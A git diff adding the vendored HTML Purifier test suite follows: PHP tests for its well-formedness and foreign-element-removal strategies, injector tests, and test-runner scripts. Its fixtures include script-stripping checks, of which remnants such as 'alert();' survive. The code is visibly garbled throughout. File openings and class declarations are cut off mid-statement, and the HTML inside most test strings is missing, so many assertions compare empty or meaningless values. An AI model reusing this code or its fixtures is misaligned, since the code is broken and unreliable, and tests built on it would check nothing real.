b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php new file mode 100644 index 00000000..7fe7790f --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php @@ -0,0 +1,39 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector() + )); + } + public function testBasic() + { + $this->assertResult(''); + } + public function testFunction() + { + $this->assertResult('asdf',''); + } + public function testFailedFunction() + { + $this->assertResult('asdasdfasdf',''); + } + public function testPadded() + { + $this->assertResult('asdf',''); + } + public function testDoubled() + { + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(), + new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(), + )); + $this->assertResult('asdf', ''); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php new file mode 100644 index 00000000..65e068ec --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php @@ -0,0 +1,13 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector() + )); + } + public function testEmpty() + { + $this->assertResult(''); + } + public function testMultiply() + { + $this->assertResult('
        ', '

        '); + } + public function testMultiplyMultiply() + { + $this->config->set('AutoFormat.Custom', array( + new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector(), + new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector() + )); + $this->assertResult('
        ', '



        '); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php new file mode 100644 index 00000000..20b65d3e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php @@ -0,0 +1,170 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + } + + public function testEmptyInput() + { + $this->assertResult(''); + } + + public function testWellFormedInput() + { + $this->assertResult('This is bold text.'); + } + + public function testUnclosedTagTerminatedByDocumentEnd() + { + $this->assertResult( + 'Unclosed tag, gasp!', + 'Unclosed tag, gasp!' + ); + } + + public function testUnclosedTagTerminatedByParentNodeEnd() + { + $this->assertResult( + 'Bold and italic?', + 'Bold and italic?' + ); + } + + public function testRemoveStrayClosingTag() + { + $this->assertResult( + 'Unused end tags... recycle!', + 'Unused end tags... recycle!' + ); + } + + public function testConvertStartToEmpty() + { + $this->assertResult( + '
        ', + '
        ' + ); + } + + public function testConvertEmptyToStart() + { + $this->assertResult( + '
        ', + '
        ' + ); + } + + public function testAutoCloseParagraph() + { + $this->assertResult( + '

        Paragraph 1

        Paragraph 2', + '

        Paragraph 1

        Paragraph 2

        ' + ); + } + + public function testAutoCloseParagraphInsideDiv() + { + $this->assertResult( + '

        Paragraphs

        In

        A

        Div

        ', + '

        Paragraphs

        In

        A

        Div

        ' + ); + } + + public function testAutoCloseListItem() + { + $this->assertResult( + '
        1. Item 1
        2. Item 2
        ', + '
        1. Item 1
        2. Item 2
        ' + ); + } + + public function testAutoCloseColgroup() + { + $this->assertResult( + '
        ', + '
        ' + ); + } + + public function testAutoCloseMultiple() + { + $this->assertResult( + '
        asdf', + '
        asdf' + ); + } + + public function testUnrecognized() + { + $this->assertResult( + 'foo', + 'foo' + ); + } + + public function testBlockquoteWithInline() + { + $this->config->set('HTML.Doctype', 'XHTML 1.0 Strict'); + $this->assertResult( + // This is actually invalid, but will be fixed by + // ChildDef_StrictBlockquote + '
        foobar
        ' + ); + } + + public function testLongCarryOver() + { + $this->assertResult( + 'asdf
        asdfdf
        asdf
        ', + 'asdf
        asdfdf
        asdf' + ); + } + + public function testInterleaved() + { + $this->assertResult( + 'foobarbaz', + 'foobarbaz' + ); + } + + public function testNestedOl() + { + $this->assertResult( + '
          1. foo
        ', + '
          1. foo
        ' + ); + } + + public function testNestedUl() + { + $this->assertResult( + '
          • foo
        ', + '
          • foo
        ' + ); + } + + public function testNestedOlWithStrangeEnding() + { + $this->assertResult( + '
            1. foo
          1. foo
          ', + '
              1. foo
          1. foo
          ' + ); + } + + public function testNoAutocloseIfNoParentsCanAccomodateTag() + { + $this->assertResult( + '
        1. foo
        2. ', + '
          foo
          ' + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php new file mode 100644 index 00000000..1265db7a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php @@ -0,0 +1,71 @@ +expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0)); + $this->invoke('
          '); + } + + public function testUnnecessaryEndTagToText() + { + $this->config->set('Core.EscapeInvalidTags', true); + $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0)); + $this->invoke('
          '); + } + + public function testTagAutoclose() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', new HTMLPurifier_Token_Start('p', array(), 1, 0)); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6)); + $this->invoke('

          Foo

          Bar
          '); + } + + public function testTagCarryOver() + { + $b = new HTMLPurifier_Token_Start('b', array(), 1, 0); + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $b); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6)); + $this->invoke('Foo
          Bar
          '); + } + + public function testStrayEndTagRemoved() + { + $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3)); + $this->invoke('
          '); + } + + public function testStrayEndTagToText() + { + $this->config->set('Core.EscapeInvalidTags', true); + $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3)); + $this->invoke(''); + } + + public function testTagClosedByElementEnd() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', new HTMLPurifier_Token_Start('b', array(), 1, 3)); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('i', array(), 1, 12)); + $this->invoke('Foobar'); + } + + public function testTagClosedByDocumentEnd() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', new HTMLPurifier_Token_Start('b', array(), 1, 0)); + $this->invoke('Foobar'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php new file mode 100644 index 00000000..4dd031c4 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php @@ -0,0 +1,163 @@ +obj = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->config->set('AutoFormat.AutoParagraph', true); + $this->config->set('AutoFormat.Linkify', true); + $this->config->set('AutoFormat.RemoveEmpty', true); + generate_mock_once('HTMLPurifier_Injector'); + } + + public function testEndHandler() + { + $mock = new HTMLPurifier_InjectorMock(); + $b = new HTMLPurifier_Token_End('b'); + $b->skip = array(0 => true); + $b->start = new HTMLPurifier_Token_Start('b'); + $b->start->skip = array(0 => true, 1 => true); + $mock->expectAt(0, 'handleEnd', array($b)); + $i = new HTMLPurifier_Token_End('i'); + $i->start = new HTMLPurifier_Token_Start('i'); + $i->skip = array(0 => true); + $i->start->skip = array(0 => true, 1 => true); + $mock->expectAt(1, 'handleEnd', array($i)); + $mock->expectCallCount('handleEnd', 2); + $mock->returns('getRewindOffset', false); + $this->config->set('AutoFormat.AutoParagraph', false); + $this->config->set('AutoFormat.Linkify', false); + $this->config->set('AutoFormat.Custom', array($mock)); + $this->assertResult('asdf', 'asdf'); + } + + public function testErrorRequiredElementNotAllowed() + { + $this->config->set('HTML.Allowed', ''); + $this->expectError('Cannot enable AutoParagraph injector because p is not allowed'); + $this->expectError('Cannot enable Linkify injector because a is not allowed'); + $this->assertResult('Foobar'); + } + + public function testErrorRequiredAttributeNotAllowed() + { + $this->config->set('HTML.Allowed', 'a,p'); + $this->expectError('Cannot enable Linkify injector because a.href is not allowed'); + $this->assertResult('

          http://example.com

          '); + } + + public function testOnlyAutoParagraph() + { + $this->assertResult( + 'Foobar', + '

          Foobar

          ' + ); + } + + public function testParagraphWrappingOnlyLink() + { + $this->assertResult( + 'http://example.com', + '

          http://example.com

          ' + ); + } + + public function testParagraphWrappingNodeContainingLink() + { + $this->assertResult( + 'http://example.com', + '

          http://example.com

          ' + ); + } + + public function testParagraphWrappingPoorlyFormedNodeContainingLink() + { + $this->assertResult( + 'http://example.com', + '

          http://example.com

          ' + ); + } + + public function testTwoParagraphsContainingOnlyOneLink() + { + $this->assertResult( + "http://example.com\n\nhttp://dev.example.com", +'

          http://example.com

          + +

          http://dev.example.com

          ' + ); + } + + public function testParagraphNextToDivWithLinks() + { + $this->assertResult( + 'http://example.com
          http://example.com
          ', +'

          http://example.com

          + +' + ); + } + + public function testRealisticLinkInSentence() + { + $this->assertResult( + 'This URL http://example.com is what you need', + '

          This URL http://example.com is what you need

          ' + ); + } + + public function testParagraphAfterLinkifiedURL() + { + $this->assertResult( +"http://google.com + +b", +"

          http://google.com

          + +

          b

          " + ); + } + + public function testEmptyAndParagraph() + { + // This is a fairly degenerate case, but it demonstrates that + // the two don't error out together, at least. + // Change this behavior! + $this->assertResult( +"

          asdf + +asdf

          + +

          ", +"

          asdf

          + +

          asdf

          + +" + ); + } + + public function testRewindAndParagraph() + { + $this->assertResult( +"bar + +

          + +

          + +foo", +"

          bar

          + + + +

          foo

          " + ); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php new file mode 100644 index 00000000..aea87062 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php @@ -0,0 +1,133 @@ +obj = new HTMLPurifier_Strategy_RemoveForeignElements(); + } + + public function testBlankInput() + { + $this->assertResult(''); + } + + public function testPreserveRecognizedElements() + { + $this->assertResult('This is bold text.'); + } + + public function testRemoveForeignElements() + { + $this->assertResult( + 'BlingBong', + 'BlingBong' + ); + } + + public function testRemoveScriptAndContents() + { + $this->assertResult( + '', + '' + ); + } + + public function testRemoveStyleAndContents() + { + $this->assertResult( + '', + '' + ); + } + + public function testRemoveOnlyScriptTagsLegacy() + { + $this->config->set('Core.RemoveScriptContents', false); + $this->assertResult( + '', + 'alert();' + ); + } + + public function testRemoveOnlyScriptTags() + { + $this->config->set('Core.HiddenElements', array()); + $this->assertResult( + '', + 'alert();' + ); + } + + public function testRemoveInvalidImg() + { + $this->assertResult('', ''); + } + + public function testPreserveValidImg() + { + $this->assertResult('foobar.gif'); + } + + public function testPreserveInvalidImgWhenRemovalIsDisabled() + { + $this->config->set('Core.RemoveInvalidImg', false); + $this->assertResult(''); + } + + public function testTextifyCommentedScriptContents() + { + $this->config->set('HTML.Trusted', true); + $this->config->set('Output.CommentScriptContents', false); // simplify output + $this->assertResult( +'', +'' + ); + } + + public function testRequiredAttributesTestNotPerformedOnEndTag() + { + $def = $this->config->getHTMLDefinition(true); + $def->addElement('f', 'Block', 'Optional: #PCDATA', false, array('req*' => 'Text')); + $this->assertResult('Foo Bar'); + } + + public function testPreserveCommentsWithHTMLTrusted() + { + $this->config->set('HTML.Trusted', true); + $this->assertResult(''); + } + + public function testRemoveTrailingHyphensInComment() + { + $this->config->set('HTML.Trusted', true); + $this->assertResult('', ''); + } + + public function testCollapseDoubleHyphensInComment() + { + $this->config->set('HTML.Trusted', true); + $this->assertResult('', ''); + } + + public function testPreserveCommentsWithLookup() + { + $this->config->set('HTML.AllowedComments', array('allowed')); + $this->assertResult('', ''); + } + + public function testPreserveCommentsWithRegexp() + { + $this->config->set('HTML.AllowedCommentsRegexp', '/^allowed[1-9]$/'); + $this->assertResult('', ''); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php new file mode 100644 index 00000000..fcc7c7c8 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php @@ -0,0 +1,81 @@ +config->set('HTML.TidyLevel', 'heavy'); + } + + protected function getStrategy() + { + return new HTMLPurifier_Strategy_RemoveForeignElements(); + } + + public function testTagTransform() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', 'center'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array('style' => 'text-align:center;'), 1)); + $this->invoke('
          '); + } + + public function testMissingRequiredAttr() + { + // a little fragile, since img has two required attributes + $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', 'alt'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Empty('img', array(), 1)); + $this->invoke(''); + } + + public function testForeignElementToText() + { + $this->config->set('Core.EscapeInvalidTags', true); + $this->expectErrorCollection(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); + $this->invoke(''); + } + + public function testForeignElementRemoved() + { + // uses $CurrentToken.Serialized + $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); + $this->invoke(''); + } + + public function testCommentRemoved() + { + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); + $this->invoke(''); + } + + public function testTrailingHyphenInCommentRemoved() + { + $this->config->set('HTML.Trusted', true); + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); + $this->invoke(''); + } + + public function testDoubleHyphenInCommentRemoved() + { + $this->config->set('HTML.Trusted', true); + $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); + $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test - test - test ', 1)); + $this->invoke(''); + } + + public function testForeignMetaElementRemoved() + { + $this->collector->expectAt(0, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed')); + $this->collector->expectContextAt(0, 'CurrentToken', new HTMLPurifier_Token_Start('script', array(), 1)); + $this->collector->expectAt(1, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', 'script')); + $this->invoke('') + ), + array('Good', 'Sketchy', 'foo' => '') + ); + + $this->assertIsA($this->purifier->context, 'array'); + + } + + public function test_purifyArray_nested() + { + $this->assertIdentical( + $this->purifier->purifyArray( + array('Good', 'Sketchy', 'foo' => array('bar' => '')) + ), + array('Good', 'Sketchy', 'foo' => array('bar' => '')) + ); + } + + public function test_purifyArray_empty() { + $purifiedEmptyArray = $this->purifier->purifyArray(array()); + $this->assertTrue( + empty($purifiedEmptyArray) + ); + } + + public function testGetInstance() + { + $purifier = HTMLPurifier::getInstance(); + $purifier2 = HTMLPurifier::getInstance(); + $this->assertReference($purifier, $purifier2); + } + + public function testMakeAbsolute() + { + $this->config->set('URI.Base', 'http://example.com/bar/baz.php'); + $this->config->set('URI.MakeAbsolute', true); + $this->assertPurification( + 'Foobar', + 'Foobar' + ); + } + + public function testDisableResources() + { + $this->config->set('URI.DisableResources', true); + $this->assertPurification('', ''); + } + + public function test_addFilter_deprecated() + { + $this->expectError('HTMLPurifier->addFilter() is deprecated, use configuration directives in the Filter namespace or Filter.Custom'); + generate_mock_once('HTMLPurifier_Filter'); + $this->purifier->addFilter($mock = new HTMLPurifier_FilterMock()); + $mock->expectOnce('preFilter'); + $mock->expectOnce('postFilter'); + $this->purifier->purify('foo'); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php new file mode 100644 index 00000000..ac4512f5 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php @@ -0,0 +1,26 @@ +_path = $path; + parent::__construct($path); + } + + public function testPhpt() + { + $suite = new PHPT_Suite(array($this->_path)); + $phpt_reporter = new PHPT_Reporter_SimpleTest($this->reporter); + $suite->run($phpt_reporter); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php new file mode 100644 index 00000000..34b47cd4 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php @@ -0,0 +1,86 @@ +reporter = $reporter; + } + + // TODO: Figure out what the proper calls should be, since we've given + // each Suite its own UnitTestCase controller + + /** + * Called when the Reporter is started from a PHPT_Suite + * @todo Figure out if Suites can be named + */ + public function onSuiteStart(PHPT_Suite $suite) + { + //$this->reporter->paintGroupStart('PHPT Suite', $suite->count()); + } + + /** + * Called when the Reporter is finished in a PHPT_Suite + */ + public function onSuiteEnd(PHPT_Suite $suite) + { + //$this->reporter->paintGroupEnd('PHPT Suite'); + } + + /** + * Called when a Case is started + */ + public function onCaseStart(PHPT_Case $case) + { + //$this->reporter->paintCaseStart($case->name); + } + + /** + * Called when a Case ends + */ + public function onCaseEnd(PHPT_Case $case) + { + //$this->reporter->paintCaseEnd($case->name); + } + + /** + * Called when a Case runs without Exception + */ + public function onCasePass(PHPT_Case $case) + { + $this->reporter->paintPass("{$case->name} in {$case->filename}"); + } + + /** + * Called when a PHPT_Case_VetoException is thrown during a Case's run() + */ + public function onCaseSkip(PHPT_Case $case, PHPT_Case_VetoException $veto) + { + $this->reporter->paintSkip($veto->getMessage() . ' [' . $case->filename .']'); + } + + /** + * Called when any Exception other than a PHPT_Case_VetoException is encountered + * during a Case's run() + */ + public function onCaseFail(PHPT_Case $case, PHPT_Case_FailureException $failure) + { + $this->reporter->paintFail($failure->getReason()); + } + + public function onParserError(Exception $exception) + { + $this->reporter->paintException($exception); + } + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php new file mode 100644 index 00000000..5d25ea4e --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php @@ -0,0 +1,36 @@ +_data = $data; + $this->_runner_factory = new PHPT_CodeRunner_Factory(); + } + + public function run(PHPT_Case $case) + { + // @todo refactor this code into PHPT_Util class as its used in multiple places + $filename = dirname($case->filename) . '/' . basename($case->filename, '.php') . '.skip.php'; + + // @todo refactor to PHPT_CodeRunner + file_put_contents($filename, $this->_data); + $runner = $this->_runner_factory->factory($case); + $runner->ini = ""; + $response = $runner->run($filename)->output; + unlink($filename); + + if (preg_match('/^skip( - (.*))?/', $response, $matches)) { + $message = !empty($matches[2]) ? $matches[2] : ''; + throw new PHPT_Case_VetoException($message); + } + } + + public function getPriority() + { + return -2; + } +} diff --git a/vendor/ezyang/htmlpurifier/tests/common.php b/vendor/ezyang/htmlpurifier/tests/common.php new file mode 100644 index 00000000..db416ffa --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/common.php @@ -0,0 +1,251 @@ + default value. Depending on the type of the default value, + * arguments will be typecast accordingly. For example, if + * 'flag' => false is passed, all arguments for that will be cast to + * boolean. Do *not* pass null, as it will not be recognized. + * @param $aliases + * + */ +function htmlpurifier_parse_args(&$AC, $aliases) +{ + if (empty($_GET) && !empty($_SERVER['argv'])) { + array_shift($_SERVER['argv']); + $o = false; + $bool = false; + $val_is_bool = false; + foreach ($_SERVER['argv'] as $opt) { + if ($o !== false) { + $v = $opt; + } else { + if ($opt === '') continue; + if (strlen($opt) > 2 && strncmp($opt, '--', 2) === 0) { + $o = substr($opt, 2); + } elseif ($opt[0] == '-') { + $o = substr($opt, 1); + } else { + $lopt = strtolower($opt); + if ($bool !== false && ($opt === '0' || $lopt === 'off' || $lopt === 'no')) { + $o = $bool; + $v = false; + $val_is_bool = true; + } elseif (isset($aliases[''])) { + $o = $aliases['']; + } + } + $bool = false; + if (!isset($AC[$o]) || !is_bool($AC[$o])) { + if (strpos($o, '=') === false) { + continue; + } + list($o, $v) = explode('=', $o); + } elseif (!$val_is_bool) { + $v = true; + $bool = $o; + } + $val_is_bool = false; + } + if ($o === false) continue; + htmlpurifier_args($AC, $aliases, $o, $v); + $o = false; + } + } else { + foreach ($_GET as $o => $v) { + if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { + $v = stripslashes($v); + } + htmlpurifier_args($AC, $aliases, $o, $v); + } + } +} + +/** + * Actually performs assignment to $AC, see htmlpurifier_parse_args() + * @param $AC Arguments array to write to + * @param $aliases Aliases for options + * @param $o Argument name + * @param $v Argument value + */ +function htmlpurifier_args(&$AC, $aliases, $o, $v) +{ + if (isset($aliases[$o])) $o = $aliases[$o]; + if (!isset($AC[$o])) return; + if (is_string($AC[$o])) $AC[$o] = $v; + if (is_bool($AC[$o])) $AC[$o] = ($v === '') ? true :(bool) $v; + if (is_int($AC[$o])) $AC[$o] = (int) $v; +} + +/** + * Adds a test-class; we use file extension to determine which class to use. + */ +function htmlpurifier_add_test($test, $test_file, $only_phpt = false) +{ + switch (strrchr($test_file, ".")) { + case '.phpt': + return $test->add(new PHPT_Controller_SimpleTest($test_file)); + case '.php': + require_once $test_file; + return $test->add(path2class($test_file)); + case '.vtest': + return $test->add(new HTMLPurifier_ConfigSchema_ValidatorTestCase($test_file)); + case '.htmlt': + return $test->add(new HTMLPurifier_HTMLT($test_file)); + default: + trigger_error("$test_file is an invalid file for testing", E_USER_ERROR); + } +} + +/** + * Debugging function that prints tokens in a user-friendly manner. + */ +function printTokens($tokens, $index = null) +{ + $string = '
          ';
          +    $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
          +    foreach ($tokens as $i => $token) {
          +        $string .= printToken($generator, $token, $i, $index == $i);
          +    }
          +    $string .= '
          '; + echo $string; +} + +function printToken($generator, $token, $i, $isCursor) +{ + $string = ""; + if ($isCursor) $string .= '['; + $string .= "$i"; + $string .= $generator->escape($generator->generateFromToken($token)); + if ($isCursor) $string .= ']'; + return $string; +} + +function printZipper($zipper, $token) +{ + $string = '
          ';
          +    $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
          +    foreach ($zipper->front as $i => $t) {
          +        $string .= printToken($generator, $t, $i, false);
          +    }
          +    if ($token !== NULL) {
          +        $string .= printToken($generator, $token, "", true);
          +    }
          +    for ($i = count($zipper->back)-1; $i >= 0; $i--) {
          +        $string .= printToken($generator, $zipper->back[$i], $i, false);
          +    }
          +    $string .= '
          '; + echo $string; +} + +/** + * Convenient "insta-fail" test-case to add if any outside things fail + */ +class FailedTest extends UnitTestCase +{ + protected $msg, $details; + public function __construct($msg, $details = null) + { + $this->msg = $msg; + $this->details = $details; + } + public function test() + { + $this->fail($this->msg); + if ($this->details) $this->reporter->paintFormattedMessage($this->details); + } +} + +/** + * Flushes all caches, and fatally errors out if there's a problem. + */ +function htmlpurifier_flush($php, $reporter) +{ + exec($php . ' ../maintenance/flush.php ' . $php . ' 2>&1', $out, $status); + if ($status) { + $test = new FailedTest( + 'maintenance/flush.php returned non-zero exit status', + wordwrap(implode("\n", $out), 80) + ); + $test->run($reporter); + exit(1); + } +} + +/** + * Dumps error queue, useful if there has been a fatal error. + */ +function htmlpurifier_dump_error_queue() +{ + $context = SimpleTest::getContext(); + $queue = $context->get('SimpleErrorQueue'); + while (($error = $queue->extract()) !== false) { + var_dump($error); + } +} +register_shutdown_function('htmlpurifier_dump_error_queue'); + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/default_load.php b/vendor/ezyang/htmlpurifier/tests/default_load.php new file mode 100644 index 00000000..9b8bfb70 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/default_load.php @@ -0,0 +1,3 @@ + 'file', + 'h' => 'help', + 'v' => 'verbose', +); + +// It's important that this does not call the autoloader. Not a problem +// with a function, but could be if we put this in a class. +htmlpurifier_parse_args($AC, $aliases); + +if ($AC['help']) { +?>HTML Purifier test suite +Allowed options: + --flush + --standalone + --file (-f) HTMLPurifier/NameOfTest.php + --xml + --txt + --dry + --php /path/to/php + --type ( htmlpurifier | configdoc | fstools | htmlt | vtest | phpt ) + --disable-phpt + --verbose (-v) +addDecorator('Memory'); // since we deal with a lot of config objects + +if (!$AC['disable-phpt']) { + $phpt = PHPT_Registry::getInstance(); + $phpt->php = $AC['php']; +} + +// load tests +require 'test_files.php'; + +$FS = new FSTools(); + +// handle test dirs +foreach ($test_dirs as $dir) { + $raw_files = $FS->globr($dir, '*Test.php'); + foreach ($raw_files as $file) { + $file = str_replace('\\', '/', $file); + if (isset($test_dirs_exclude[$file])) continue; + $test_files[] = $file; + } +} + +// handle vtest dirs +foreach ($vtest_dirs as $dir) { + $raw_files = $FS->globr($dir, '*.vtest'); + foreach ($raw_files as $file) { + $test_files[] = str_replace('\\', '/', $file); + } +} + +// handle phpt files +foreach ($phpt_dirs as $dir) { + $phpt_files = $FS->globr($dir, '*.phpt'); + foreach ($phpt_files as $file) { + $test_files[] = str_replace('\\', '/', $file); + } +} + +// handle htmlt dirs +foreach ($htmlt_dirs as $dir) { + $htmlt_files = $FS->globr($dir, '*.htmlt'); + foreach ($htmlt_files as $file) { + $test_files[] = str_replace('\\', '/', $file); + } +} + +array_unique($test_files); +sort($test_files); // for the SELECT +$GLOBALS['HTMLPurifierTest']['Files'] = $test_files; // for the reporter +$test_file_lookup = array_flip($test_files); + +// determine test file +if ($AC['file']) { + if (!isset($test_file_lookup[$AC['file']])) { + echo "Invalid file passed\n"; + exit; + } +} + +if ($AC['file']) { + + $test = new TestSuite($AC['file']); + htmlpurifier_add_test($test, $AC['file']); + +} else { + + $standalone = ''; + if ($AC['standalone']) $standalone = ' (standalone)'; + $test = new TestSuite('All HTML Purifier tests on PHP ' . PHP_VERSION . $standalone); + foreach ($test_files as $test_file) { + htmlpurifier_add_test($test, $test_file); + } + +} + +if ($AC['dry']) $reporter->makeDry(); + +$result = $test->run($reporter); + +if ($result) { + exit(0); // Success! +} else { + exit(1); // Abject failure. +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/multitest.php b/vendor/ezyang/htmlpurifier/tests/multitest.php new file mode 100644 index 00000000..ef296cdd --- /dev/null +++ b/vendor/ezyang/htmlpurifier/tests/multitest.php @@ -0,0 +1,159 @@ + 'file', + 'q' => 'quiet', + 'v' => 'verbose', +); +htmlpurifier_parse_args($AC, $aliases); + +// Backwards compat extra parsing +if ($AC['only-phpt']) { + $AC['type'] = 'phpt'; +} +if ($AC['exclude-normal']) $AC['distro'] = 'standalone'; +elseif ($AC['exclude-standalone']) $AC['distro'] = 'normal'; +elseif ($AC['standalone']) $AC['distro'] = 'standalone'; + +if ($AC['xml']) { + $reporter = new XmlReporter(); +} else { + $reporter = new HTMLPurifier_SimpleTest_TextReporter($AC); +} + +// Regenerate any necessary files +if (!$AC['disable-flush']) htmlpurifier_flush($AC['php'], $reporter); + +$file_arg = ''; +require 'test_files.php'; +if ($AC['file']) { + $test_files_lookup = array_flip($test_files); + if (isset($test_files_lookup[$AC['file']])) { + $file_arg = '--file=' . $AC['file']; + } else { + throw new Exception("Invalid file passed"); + } +} +// This allows us to get out of having to do dry runs. +$size = count($test_files); + +$type_arg = ''; +if ($AC['type']) $type_arg = '--type=' . $AC['type']; + +if ($AC['quick']) { + $seriesArray = array(); + foreach ($versions_to_test as $version) { + $series = substr($version, 0, strpos($version, '.', strpos($version, '.') + 1)); + if (!isset($seriesArray[$series])) { + $seriesArray[$series] = $version; + continue; + } + if (version_compare($version, $seriesArray[$series], '>')) { + $seriesArray[$series] = $version; + } + } + $versions_to_test = array_values($seriesArray); +} + +// Setup the test +$test = new TestSuite('HTML Purifier Multiple Versions Test'); +foreach ($versions_to_test as $version) { + // Support for 